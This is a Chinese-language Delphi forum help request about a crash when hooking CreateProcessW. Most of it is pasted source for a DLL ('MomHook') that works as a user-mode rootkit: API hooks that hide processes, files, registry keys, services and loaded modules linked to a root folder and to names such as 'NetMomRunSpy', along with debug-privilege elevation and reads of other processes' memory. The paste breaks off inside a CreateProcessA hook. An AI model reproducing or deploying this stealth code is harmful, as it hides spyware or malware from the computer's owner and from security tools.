高分求助谁能解决afxhookCode中挂钩问题 ( 积分: 200 )

  • 主题发起人 主题发起人 xawangting
  • 开始时间 开始时间
X

xawangting

Unregistered / Unconfirmed
GUEST, unregistred user!
各位高手,帮帮忙啊
为什么用AfxHookCode.pas单元挂钩CreateProcessW这个函数,在新打开程序时报错
为xxxxx指令引用0x0000000的内存不read,如何解决这个问题??,我200分送上
 
高手哪去了,难道没有人能搞定吗
 
分不够我可以再加,好多天了,为什么没有人回答
 
不发代码谁能解决啊
 
好的我发主要代码给大家,不过这些代码只是也是网上有的,我只是研究一下能否为我所用



library MomHook;

uses
Windows,
afxCodeHook,
PsApi,
Native,
JwaWinType ,
JwaWinSvc,
WinSvc,
SysUtils;

type
TMainThreadInfo = record
pSleep: pointer;
end;

const
Advapi = 'advapi32';
Kernel = 'kernel32';
Ntdll = 'ntdll';
Shell = 'shell32';

var
Root: string = '';



var
NtQuerySystemInformationNextHook: function(SystemInformationClass:
SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength:
ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;
NtEnumerateValueKeyNextHook: function(KeyHandle: HANDLE; Index: ULONG;
KeyValueInformationClass: KEY_VALUE_INFORMATION_CLASS; KeyValueInformation:
PVOID; KeyValueInformationLength: ULONG; ResultLength: PULONG): NTSTATUS;
stdcall;
NtQueryDirectoryFileNextHook: function(FileHandle: HANDLE; Event: HANDLE;
ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock:
PIO_STATUS_BLOCK; FileInformation: PVOID; FileInformationLength: ULONG;
FileInformationClass: FILE_INFORMATION_CLASS; ReturnSingleEntry: ByteBool;
FileName: PUNICODE_STRING; RestartScan: ByteBool): NTSTATUS; stdcall;
RtlQueryProcessDebugInformationNextHook: function(hProcess: THandle; lpParam:
dword; lpBuffer: pointer): dword; stdcall;

EnumProcessModulesNextHook: function(hProcess: Cardinal; lphModule: pdword;
cb: Cardinal; lpcbNeeded: Cardinal): bool; stdcall;

CreateProcessANextHook: function(lpApplicationName: PAnsiChar; lpCommandLine:
PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var
lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessWNextHook: function(lpApplicationName: PWideChar; lpCommandLine:
PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var
lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessAsUserANextHook: function(hToken: THandle; lpApplicationName:
PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes:
PSecurityAttributes;
lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL;
dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory:
PAnsiChar;
const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation): BOOL; stdcall;
CreateProcessAsUserWNextHook: function(hToken: THandle; lpApplicationName:
PWideChar; lpCommandLine: PWideChar; lpProcessAttributes:
PSecurityAttributes;
lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL;
dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory:
PWideChar;
const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation): BOOL; stdcall;
CreateProcessWithLogonWNextHook: function(lpUsername, lpDomain, lpPassword:
PWideChar; dwLogonFlags: dword; lpApplicationName: PWideChar; lpCommandLine:
PWideChar; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory:
PWideChar; const lpStartupInfo: tSTARTUPINFO; var lpProcessInformation:
TProcessInformation): BOOL; stdcall;
EnumServicesStatusANextHook: function(hSCManager: SC_HANDLE; dwServiceType:
DWORD; dwServiceState: DWORD; lpServices: LPENUM_SERVICE_STATUSA; cbBufSize:
DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD): BOOL;
stdcall;
EnumServicesStatusWNextHook: function(hSCManager: SC_HANDLE; dwServiceType:
DWORD; dwServiceState: DWORD; lpServices: LPENUM_SERVICE_STATUSW; cbBufSize:
DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD): BOOL;
stdcall;
EnumServicesStatusExANextHook: function(hSCManager: SC_HANDLE; InfoLevel:
SC_ENUM_TYPE; dwServiceType: DWORD; dwServiceState: DWORD; lpServices:
LPBYTE;
cbBufSize: DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle:
DWORD; pszGroupName: LPCSTR): BOOL; stdcall;
EnumServicesStatusExWNextHook: function(hSCManager: SC_HANDLE; InfoLevel:
SC_ENUM_TYPE; dwServiceType: DWORD; dwServiceState: DWORD; lpServices:
LPBYTE;
cbBufSize: DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle:
DWORD; pszGroupName: LPCWSTR): BOOL; stdcall;
NtEnumerateKeyNextHook: function(KeyHandle: HANDLE; Index: ULONG;
KeyInformationClass: KEY_INFORMATION_CLASS; KeyInformation: PVOID;
KeyInformationLength: ULONG; ResultLength: PULONG): NTSTATUS; stdcall;
procedure WriteDebugInfo(info:string);
var
F:Textfile;
begin
try
if not fileexists('c:/debug.txt') then
filecreate('c:/debug.txt');
AssignFile(F, 'c:/debug.txt');
append(f);
writeln(f,info);
closefile(f);
except
end;

end;

function IntToStr(I: integer): string;
begin
Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

function StrCmp(String1, String2: string): boolean;
begin
if lstrcmpi(pchar(String1), pchar(String2)) = 0 then
begin
Result := True;
end
else
begin
Result := False;
end;

end;

function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then
Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function ExtractFileName(FileName: string): string;
begin
while Pos('/', FileName) <> 0 do
Delete(FileName, 1, Pos('/', FileName));
while Pos('/', FileName) <> 0 do
Delete(FileName, 1, Pos('/', FileName));
Result := FileName;
end;

function ExtractFilePath(FileName: string): string;
begin
Result := '';
while ((Pos('/', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
begin
Result := Result + Copy(FileName, 1, 1);
Delete(FileName, 1, 1);
end;
end;


function ExtractFileExt(const FileName: string): string;
var
I:Integer ;
begin
Result :='';
try
Result := ExtractFileName(FileName);
i:=Pos('.',Result);
if i>0 then
Result :=Copy(Result ,Pos('.',Result)+1,3)
else
Result :='';
except
Result :='';
end;
end;

function GetFolder: string;
var
FileName: string;
FilePath: array[0..MAX_PATH - 1] of char;
begin
Result := '';
GetModuleFileName(SysInit.hInstance, FilePath, MAX_PATH);
FileName := string(FilePath);
while ((Pos('/', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
begin
Result := Result + Copy(FileName, 1, 1);
Delete(FileName, 1, 1);
end;
Delete(Result, Length(Result), 1);
while Pos('/', Result) <> 0 do
Delete(Result, 1, Pos('/', Result));
while Pos('/', Result) <> 0 do
Delete(Result, 1, Pos('/', Result));
end;

function GetCurrentModulePath: string;
var
FilePath: array[0..MAX_PATH - 1] of char;
begin
GetModuleFileName(SysInit.hInstance, FilePath, MAX_PATH);
Result := string(FilePath);
end;

procedure SetPrivilege;
var
OldTokenPrivileges, TokenPrivileges: TTokenPrivileges;
ReturnLength: dword;
hToken: THandle;
Luid: int64;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
TokenPrivileges.PrivilegeCount := 1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', Luid);
TokenPrivileges.Privileges[0].luid := Luid;
TokenPrivileges.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, False, TokenPrivileges,
SizeOf(TTokenPrivileges), OldTokenPrivileges, ReturnLength);
OldTokenPrivileges.Privileges[0].luid := Luid;
OldTokenPrivileges.PrivilegeCount := 1;
OldTokenPrivileges.Privileges[0].Attributes :=
TokenPrivileges.Privileges[0].Attributes or SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, False, OldTokenPrivileges, ReturnLength,
PTokenPrivileges(nil)^, ReturnLength);
end;

function GetPathFromId(Id: dword): string;
type
TProcessBasicInformation = record
ExitStatus: Integer;
PebBaseAddress: Pointer;
AffinityMask: Integer;
BasePriority: Integer;
UniqueProcessID: Integer;
InheritedFromUniqueProcessID: Integer;
end;
var
Process: dword;
ProcInfo: TProcessBasicInformation;
BytesRead: dword;
Usr, Buf: dword;
Len: word;
Buffer: PWideChar;
begin
Result := '';
Process := OpenProcess(PROCESS_ALL_ACCESS, False, Id);
NtQueryInformationProcess(Process, ProcessBasicInformation, @ProcInfo,
SizeOf(TProcessBasicInformation), nil);
ReadProcessMemory(Process, pointer(dword(ProcInfo.PebBaseAddress) + $10),
@Usr, 4, BytesRead);
ReadProcessMemory(Process, pointer(Usr + $38), @Len, 2, BytesRead);
GetMem(Buffer, Len);
try
ReadProcessMemory(Process, pointer(Usr + $3C), @Buf, 4, BytesRead);
ReadProcessMemory(Process, pointer(Buf), Buffer, Len, BytesRead);
Result := WideCharToString(Buffer);
finally
FreeMem(Buffer);
end;
SetLength(Result, Len div 2);
end;

function IsId(Id: dword): boolean;
var
Path: string;
begin
Path := LowerCase(ExtractFilePath(GetPathFromId(Id)));
Result := ( Pos(LowerCase('/' + Root + '/'), Path) <> 0) or
( Pos('netmomrunspy',path)<>0);
end;

function IsExplorer(Id: dword): boolean;
var
Path: string;
begin
Path := LowerCase(GetPathFromId(Id));
Result :=( Pos(LowerCase('explorer.exe'), Path) <> 0)
or (pos(lowercase('netmom.exe'),path)<>0 )
or (pos(lowercase('imagesee.exe'),path)<>0);

end;

function GetRootServices: string;
var
ServiceLoop: integer;
SCManager: SC_Handle;
nBytesNeeded, nServices, nResumeHandle: dword;
ServiceStatus: array[0..511] of TEnumServiceStatusProcessA;
begin
Result := '';
SCManager := OpenSCManager('', nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then
Exit;
nResumeHandle := 0;
try
while True do
begin
EnumServicesStatusExANextHook(SCManager, SC_ENUM_PROCESS_INFO,
SERVICE_WIN32, SERVICE_STATE_ALL, @ServiceStatus[0],
sizeof(ServiceStatus), nBytesNeeded, nServices, nResumeHandle, '');
for ServiceLoop := 0 to nServices - 1 do
begin
if IsId(ServiceStatus[ServiceLoop].ServiceStatusProcess.dwProcessId)
then
begin
Result := Result + '|' +
LowerCase(ServiceStatus[ServiceLoop].lpServiceName) + '|';
end;
end;
if nBytesNeeded = 0 then
Break;
end;
finally
if SCManager > 0 then
CloseServiceHandle(SCManager);
end;
end;

function GetKeyShift(KeyHandle: dword; Index: ULONG): dword;
var
KeyInformation: KEY_BASIC_INFORMATION;
ResultLength: ULONG;
ValueLoop: dword;
d:string;
begin
Result := 0;
ValueLoop := 0;
d:='dhsoftsys';
while ValueLoop <= Index do
begin
ZeroMemory(@KeyInformation, SizeOf(KEY_BASIC_INFORMATION));
if NtEnumerateKeyNextHook(KeyHandle, Result, KeyBasicInformation,
@KeyInformation, SizeOf(KEY_BASIC_INFORMATION), @ResultLength) <>
ERROR_SUCCESS then
Break;
byte(pointer(dword(@KeyInformation) + ResultLength)^) := 0;
if not StrCmp(d, WideCharToString(PWideChar(@KeyInformation.Name))) then
Inc(ValueLoop);
if ValueLoop > Index then
Exit;
Inc(Result);
end;
end;
function GetKeyShift1(KeyHandle: dword; Index: ULONG): dword;
var
KeyInformation: KEY_BASIC_INFORMATION;
ResultLength: ULONG;
ValueLoop: dword;
n:string;
begin
Result := 0;
ValueLoop := 0;
n:='NetMomRunSpy';
while ValueLoop <= Index do
begin
ZeroMemory(@KeyInformation, SizeOf(KEY_BASIC_INFORMATION));
if NtEnumerateKeyNextHook(KeyHandle, Result, KeyBasicInformation,
@KeyInformation, SizeOf(KEY_BASIC_INFORMATION), @ResultLength) <>
ERROR_SUCCESS then
Break;
byte(pointer(dword(@KeyInformation) + ResultLength)^) := 0;
if not StrCmp(n, WideCharToString(PWideChar(@KeyInformation.Name))) then
Inc(ValueLoop);

if ValueLoop > Index then
Exit;
Inc(Result);
end;
end;

function NtEnumerateKeyHookProc(KeyHandle: HANDLE; Index: ULONG;
KeyInformationClass: KEY_INFORMATION_CLASS; KeyInformation: PVOID;
KeyInformationLength: ULONG; ResultLength: PULONG): NTSTATUS; stdcall;

var
Result1,Result2:NTSTATUS;
begin
Result1 := NtEnumerateKeyNextHook(KeyHandle, GetKeyShift(KeyHandle, Index),
KeyInformationClass, KeyInformation, KeyInformationLength, ResultLength);
result2:= NtEnumerateKeyNextHook(KeyHandle, GetKeyShift1(KeyHandle, Index),
KeyInformationClass, KeyInformation, KeyInformationLength, ResultLength);
result:=result1 or result2;

end;

function EnumServicesStatusAHookProc(hSCManager: SC_HANDLE; dwServiceType:
DWORD; dwServiceState: DWORD; lpServices: LPENUM_SERVICE_STATUSA; cbBufSize:
DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD): BOOL;
stdcall;
var
ServiceStatus: PEnumServiceStatusA;
ServiceLoop: dword;
RootServices: string;
begin
Result := EnumServicesStatusANextHook(hSCManager, dwServiceType,
dwServiceState, lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned,
lpResumeHandle);
if not Result then
Exit;
RootServices := GetRootServices;
ServiceLoop := 0;
while ServiceLoop < lpServicesReturned do
begin
ServiceStatus := pointer(dword(lpServices) + (SizeOf(TEnumServiceStatusA) *
ServiceLoop));
if Pos(LowerCase('|' + ServiceStatus.lpServiceName + '|'), RootServices) <> 0
then
begin
ZeroMemory(ServiceStatus, SizeOf(TEnumServiceStatusA));
CopyMemory(ServiceStatus, pointer(dword(ServiceStatus) +
SizeOf(TEnumServiceStatusA)), (lpServicesReturned - ServiceLoop - 1) *
SizeOf(TEnumServiceStatusA));
Dec(lpServicesReturned);
end
else
begin
Inc(ServiceLoop);
end;
end;
end;

function EnumServicesStatusWHookProc(hSCManager: SC_HANDLE; dwServiceType:
DWORD; dwServiceState: DWORD; lpServices: LPENUM_SERVICE_STATUSW; cbBufSize:
DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD): BOOL;
stdcall;
var
ServiceStatus: PEnumServiceStatusW;
ServiceLoop: dword;
RootServices: string;
begin
Result := EnumServicesStatusWNextHook(hSCManager, dwServiceType,
dwServiceState, lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned,
lpResumeHandle);
if not Result then
Exit;
RootServices := GetRootServices;
ServiceLoop := 0;
while ServiceLoop < lpServicesReturned do
begin
ServiceStatus := pointer(dword(lpServices) + (SizeOf(TEnumServiceStatusW) *
ServiceLoop));
if Pos(LowerCase('|' + WideCharToString(ServiceStatus.lpServiceName) + '|'),
RootServices) <> 0 then
begin
ZeroMemory(ServiceStatus, SizeOf(TEnumServiceStatusW));
CopyMemory(ServiceStatus, pointer(dword(ServiceStatus) +
SizeOf(TEnumServiceStatusW)), (lpServicesReturned - ServiceLoop - 1) *
SizeOf(TEnumServiceStatusW));
Dec(lpServicesReturned);
end
else
begin
Inc(ServiceLoop);
end;
end;
end;

function EnumServicesStatusExAHookProc(hSCManager: SC_HANDLE; InfoLevel:
SC_ENUM_TYPE; dwServiceType: DWORD; dwServiceState: DWORD; lpServices: LPBYTE;
cbBufSize: DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD;
pszGroupName: LPCSTR): BOOL; stdcall;
var
ServiceStatus: PEnumServiceStatusProcessA;
ServiceLoop: dword;
RootServices: string;
begin
Result := EnumServicesStatusExANextHook(hSCManager, InfoLevel, dwServiceType,
dwServiceState, lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned,
lpResumeHandle, pszGroupName);
if not Result then
Exit;
RootServices := GetRootServices;
ServiceLoop := 0;
while ServiceLoop < lpServicesReturned do
begin
ServiceStatus := pointer(dword(lpServices) +
(SizeOf(TEnumServiceStatusProcessA) * ServiceLoop));
if Pos(LowerCase('|' + ServiceStatus.lpServiceName + '|'), RootServices) <> 0
then
begin
ZeroMemory(ServiceStatus, SizeOf(TEnumServiceStatusProcessA));
CopyMemory(ServiceStatus, pointer(dword(ServiceStatus) +
SizeOf(TEnumServiceStatusProcessA)), (lpServicesReturned - ServiceLoop - 1)
* SizeOf(TEnumServiceStatusProcessA));
Dec(lpServicesReturned);
end
else
begin
Inc(ServiceLoop);
end;
end;
end;

function EnumServicesStatusExWHookProc(hSCManager: SC_HANDLE; InfoLevel:
SC_ENUM_TYPE; dwServiceType: DWORD; dwServiceState: DWORD; lpServices: LPBYTE;
cbBufSize: DWORD; var pcbBytesNeeded, lpServicesReturned, lpResumeHandle: DWORD;
pszGroupName: LPCWSTR): BOOL; stdcall;
var
ServiceStatus: PEnumServiceStatusProcessW;
ServiceLoop: dword;
RootServices: string;
begin
Result := EnumServicesStatusExWNextHook(hSCManager, InfoLevel, dwServiceType,
dwServiceState, lpServices, cbBufSize, pcbBytesNeeded, lpServicesReturned,
lpResumeHandle, pszGroupName);
if not Result then
Exit;
RootServices := GetRootServices;
ServiceLoop := 0;
while ServiceLoop < lpServicesReturned do
begin
ServiceStatus := pointer(dword(lpServices) +
(SizeOf(TEnumServiceStatusProcessW) * ServiceLoop));
if Pos(LowerCase('|' + WideCharToString(ServiceStatus.lpServiceName) + '|'),
RootServices) <> 0 then
begin
ZeroMemory(ServiceStatus, SizeOf(TEnumServiceStatusProcessW));
CopyMemory(ServiceStatus, pointer(dword(ServiceStatus) +
SizeOf(TEnumServiceStatusProcessW)), (lpServicesReturned - ServiceLoop - 1)
* SizeOf(TEnumServiceStatusProcessW));
Dec(lpServicesReturned);
end
else
begin
Inc(ServiceLoop);
end;
end;
end;

function NtQuerySystemInformationHookProc(SystemInformationClass:
SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength:
ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;
var
LastProcessInfo, ProcessInfo: PSYSTEM_PROCESSES;
HandleEntry: SYSTEM_HANDLE_TABLE_ENTRY_INFO;
HandleInfo: PSYSTEM_HANDLE_INFORMATION;
HandlesParsed, Offset: dword;
begin
Result := NtQuerySystemInformationNextHook(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);
if Result <> 0 then
Exit;
if SystemInformationClass = SystemProcessesAndThreadsInformation then
begin
Offset := 0;
LastProcessInfo := nil;
repeat
ProcessInfo := PSYSTEM_PROCESSES(pointer(dword(SystemInformation) +
Offset));
if IsId(ProcessInfo.ProcessId) then
begin
if ProcessInfo.NextEntryDelta = 0 then
begin
if LastProcessInfo <> nil then
LastProcessInfo.NextEntryDelta := 0;
Exit;
end
else
begin
LastProcessInfo.NextEntryDelta := LastProcessInfo.NextEntryDelta +
ProcessInfo.NextEntryDelta;
end;
end
else
begin
LastProcessInfo := ProcessInfo;
end;
Offset := Offset + ProcessInfo.NextEntryDelta;
until ProcessInfo.NextEntryDelta = 0;
end
else if SystemInformationClass = SystemHandleInformation then
begin
HandleInfo := PSYSTEM_HANDLE_INFORMATION(SystemInformation);
HandlesParsed := 0;
while HandlesParsed < HandleInfo.NumberOfHandles do
begin
HandleEntry := HandleInfo.Handles[HandlesParsed];
if IsId(HandleEntry.UniqueProcessId) then
begin
ZeroMemory(@HandleInfo.Handles[HandlesParsed],
SizeOf(SYSTEM_HANDLE_INFORMATION));
end;
Inc(HandlesParsed);
end;
end;
end;

function GetValueShift(KeyHandle: dword; Index: ULONG): dword;
var
KeyValueInformation: KEY_VALUE_BASIC_INFORMATION;
ResultLength: ULONG;
ValueLoop: dword;
RootPath: string;
begin
Result := 0;
RootPath := string(Root) + '/';
ValueLoop := 0;
while ValueLoop <= Index do
begin
ZeroMemory(@KeyValueInformation, SizeOf(KEY_VALUE_BASIC_INFORMATION));
if NtEnumerateValueKeyNextHook(KeyHandle, Result, KeyValueBasicInformation,
@KeyValueInformation, SizeOf(KEY_VALUE_BASIC_INFORMATION), @ResultLength)
<>
ERROR_SUCCESS then
Break;
byte(pointer(dword(@KeyValueInformation) + ResultLength)^) := 0;
if not StrCmp(RootPath,
ExtractFilePath(WideCharToString(PWideChar(@KeyValueInformation.Name))))
then
begin
Inc(ValueLoop);
end;
if ValueLoop > Index then
Exit;
Inc(Result);
end;
end;

function NtEnumerateValueKeyHookProc(KeyHandle: HANDLE; Index: ULONG;
KeyValueInformationClass: KEY_VALUE_INFORMATION_CLASS; KeyValueInformation:
PVOID; KeyValueInformationLength: ULONG; ResultLength: PULONG): NTSTATUS;
stdcall;
begin
Result := NtEnumerateValueKeyNextHook(KeyHandle, GetValueShift(KeyHandle,
Index), KeyValueInformationClass, KeyValueInformation,
KeyValueInformationLength, ResultLength);

end;


function NtQueryDirectoryFileHookProc(FileHandle: HANDLE; Event: HANDLE;
ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock:
PIO_STATUS_BLOCK;
FileInformation: PVOID; FileInformationLength: ULONG; FileInformationClass:
FILE_INFORMATION_CLASS; ReturnSingleEntry: ByteBool; FileName:
PUNICODE_STRING;
RestartScan: ByteBool): NTSTATUS; stdcall;
var
Offset: dword;
Name: string;
LastFileDirectoryInfo, FileDirectoryInfo: PFILE_DIRECTORY_INFORMATION;
LastFileFullDirectoryInfo, FileFullDirectoryInfo:
PFILE_FULL_DIRECTORY_INFORMATION;
LastFileBothDirectoryInfo, FileBothDirectoryInfo:
PFILE_BOTH_DIRECTORY_INFORMATION;
LastFileNamesInfo, FileNamesInfo: PFILE_NAMES_INFORMATION;
begin
Result := NtQueryDirectoryFileNextHook(FileHandle, Event, ApcRoutine,
ApcContext, IoStatusBlock, FileInformation, FileInformationLength,
FileInformationClass, ReturnSingleEntry, FileName, RestartScan);
if Result <> 0 then
Exit;
Offset := 0;
case dword(FileInformationClass) of
1:
begin
FileDirectoryInfo := nil;
repeat
LastFileDirectoryInfo := FileDirectoryInfo;
FileDirectoryInfo :=
PFILE_DIRECTORY_INFORMATION(pointer(dword(FileInformation) +
Offset));
Name := Copy(WideCharToString(FileDirectoryInfo.FileName), 1,
FileDirectoryInfo.FileNameLength div 2);
if StrCmp(Name, Root) then
begin
if FileDirectoryInfo.NextEntryOffset = 0 then
begin
if LastFileDirectoryInfo <> nil then
LastFileDirectoryInfo.NextEntryOffset := 0
else
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
LastFileDirectoryInfo.NextEntryOffset :=
LastFileDirectoryInfo.NextEntryOffset +
FileDirectoryInfo.NextEntryOffset;
end;
end;
Offset := Offset + FileDirectoryInfo.NextEntryOffset;
until FileDirectoryInfo.NextEntryOffset = 0;
end;
2:
begin
FileFullDirectoryInfo := nil;
repeat
LastFileFullDirectoryInfo := FileFullDirectoryInfo;
FileFullDirectoryInfo :=
PFILE_FULL_DIRECTORY_INFORMATION(pointer(dword(FileInformation) +
Offset));
Name := Copy(WideCharToString(FileFullDirectoryInfo.FileName), 1,
FileFullDirectoryInfo.FileNameLength div 2);
if StrCmp(Name, Root) then
begin
if FileFullDirectoryInfo.NextEntryOffset = 0 then
begin
if LastFileFullDirectoryInfo <> nil then
LastFileFullDirectoryInfo.NextEntryOffset := 0
else
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
LastFileFullDirectoryInfo.NextEntryOffset :=
LastFileFullDirectoryInfo.NextEntryOffset +
FileFullDirectoryInfo.NextEntryOffset;
end;
end;
Offset := Offset + FileFullDirectoryInfo.NextEntryOffset;
until FileFullDirectoryInfo.NextEntryOffset = 0;
end;
3:
begin
FileBothDirectoryInfo := nil;
repeat
LastFileBothDirectoryInfo := FileBothDirectoryInfo;
FileBothDirectoryInfo :=
PFILE_BOTH_DIRECTORY_INFORMATION(pointer(dword(FileInformation) +
Offset));
Name := Copy(WideCharToString(FileBothDirectoryInfo.FileName), 1,
FileBothDirectoryInfo.FileNameLength div 2);
if StrCmp(Name, Root) then
begin
if FileBothDirectoryInfo.NextEntryOffset = 0 then
begin
if LastFileBothDirectoryInfo <> nil then
LastFileBothDirectoryInfo.NextEntryOffset := 0
else
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
LastFileBothDirectoryInfo.NextEntryOffset :=
LastFileBothDirectoryInfo.NextEntryOffset +
FileBothDirectoryInfo.NextEntryOffset;
end;
end;
Offset := Offset + FileBothDirectoryInfo.NextEntryOffset;
until FileBothDirectoryInfo.NextEntryOffset = 0;
end;
12:
begin
FileNamesInfo := nil;
repeat
LastFileNamesInfo := FileNamesInfo;
FileNamesInfo := PFILE_NAMES_INFORMATION(pointer(dword(FileInformation)
+ Offset));
Name := Copy(WideCharToString(FileNamesInfo.FileName), 1,
FileNamesInfo.FileNameLength div 2);
if StrCmp(Name, Root) then
begin
if FileNamesInfo.NextEntryOffset = 0 then
begin
if LastFileNamesInfo <> nil then
LastFileNamesInfo.NextEntryOffset := 0
else
Result := NTSTATUS($C000000F);
Exit;
end
else
begin
LastFileNamesInfo.NextEntryOffset :=
LastFileNamesInfo.NextEntryOffset +
FileNamesInfo.NextEntryOffset;
end;
end;
Offset := Offset + FileNamesInfo.NextEntryOffset;
until FileNamesInfo.NextEntryOffset = 0;
end;
end;
end;

type
PDebugModule = ^TDebugModule;
TDebugModule = packed record
Reserved: array[0..1] of Cardinal;
Base: Cardinal;
Size: Cardinal;
Flags: Cardinal;
Index: Word;
Unknown: Word;
LoadCount: Word;
ModuleNameOffset: Word;
ImageName: array[0..$FF] of Char;
end;

PDebugModuleInformation = ^TDebugModuleInformation;
TDebugModuleInformation = record
Count: Cardinal;
Modules: array[0..0] of TDebugModule;
end;
PDebugBuffer = ^TDebugBuffer;
TDebugBuffer = record
SectionHandle: THandle;
SectionBase: Pointer;
RemoteSectionBase: Pointer;
SectionBaseDelta: Cardinal;
EventPairHandle: THandle;
Unknown: array[0..1] of Cardinal;
RemoteThreadHandle: THandle;
InfoClassMask: Cardinal;
SizeOfInfo: Cardinal;
AllocatedSize: Cardinal;
SectionSize: Cardinal;
ModuleInformation: PDebugModuleInformation;
BackTraceInformation: Pointer;
HeapInformation: Pointer;
LockInformation: Pointer;
Reserved: array[0..7] of Pointer;
end;

function RtlQueryProcessDebugInformationHookProc(hProcess: THandle; lpParam:
dword; lpBuffer: pointer): dword; stdcall;
var
QDB: PDebugBuffer;
DllLoop: word;
begin
Result := RtlQueryProcessDebugInformationNextHook(hProcess, lpParam,
lpBuffer);
if Result <> 0 then
Exit;
if lpBuffer = nil then
Exit;
QDB := PDebugBuffer(lpBuffer);
DllLoop := 0;
if IsBadReadPtr(@QDB.ModuleInformation.Count, SizeOf(PDebugModule)) then
Exit;
if QDB.ModuleInformation.Count = 0 then
Exit;
while DllLoop < QDB.ModuleInformation.Count do
begin
if Pos(LowerCase('/' + Root + '/'),
string(QDB.ModuleInformation.Modules[DllLoop].ImageName)) <> 0 then
begin
CopyMemory(@QDB.ModuleInformation.Modules[DllLoop],
@QDB.ModuleInformation.Modules[DllLoop + 1],
SizeOf(QDB.ModuleInformation.Modules[DllLoop]));
QDB.ModuleInformation.Count := QDB.ModuleInformation.Count - 1;
end
else
begin
Inc(DllLoop);
end;
end;
end;

function EnumProcessModulesHookProc(hProcess: Cardinal; lphModule: pdword; cb:
Cardinal; lpcbNeeded: Cardinal): BOOL; stdcall;
var
PID: HMODULE;
PIDLoop: dword;
lpBaseName: array[0..MAX_PATH] of char;
begin
Result := EnumProcessModulesNextHook(hProcess, lphModule, cb, lpcbNeeded);
if Result = False then
Exit;
PIDLoop := 0;
while PIDLoop <= pdword(lpcbNeeded)^ div SizeOf(HMODULE) do
begin
PID := pdword(dword(lphModule) + (SizeOf(HMODULE) * PIDLoop))^;
GetModuleFileNameEx(hProcess, PID, @lpBaseName, MAX_PATH);
if Pos(LowerCase('/' + Root + '/'), string(lpBaseName)) <> 0 then
begin
CopyMemory(pdword(dword(lphModule) + (SizeOf(HMODULE) * PIDLoop)),
pdword(dword(lphModule) + (SizeOf(HMODULE) * (PIDLoop + 1))), cb -
(SizeOf(HMODULE) * (PIDLoop + 1)));
Dec(pdword(lpcbNeeded)^, SizeOf(HMODULE));
Dec(PIDLoop);
end;
Inc(PIDLoop);
end;
end;

//function Shell_NotifyIconAHookProc(dwMessage: DWORD; lpData: PNotifyIconDataA):
// BOOL; stdcall;
//begin
// Result := True;
//end;
//
//function Shell_NotifyIconWHookProc(dwMessage: DWORD; lpData: PNotifyIconDataW):
// BOOL; stdcall;
//begin
// Result := True;
//end;

//procedure MainThread(lpParameter: pointer); stdcall;
//var
// MainThreadInfo: TMainThreadInfo;
//begin
// MainThreadInfo := TMainThreadInfo(lpParameter^);
// asm
// @noret:
// push 1000
// call MainThreadInfo.pSleep
// jmp @noret
// end;
//end;
[red][/red]主要就是这个几个函数被挂钩后打开外部程序时会报错,一般是第一次运行会报错什么指令引用的内存不为read,[:(]
function CreateProcessAHookProc(lpApplicationName: PAnsiChar; lpCommandLine:
PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var
lpProcessInformation: TProcessInformation): BOOL; stdcall;
//var
// MainThreadInfo: TMainThreadInfo;

//var
// RThread:Thandle;
var
ModulePath:string;
begin
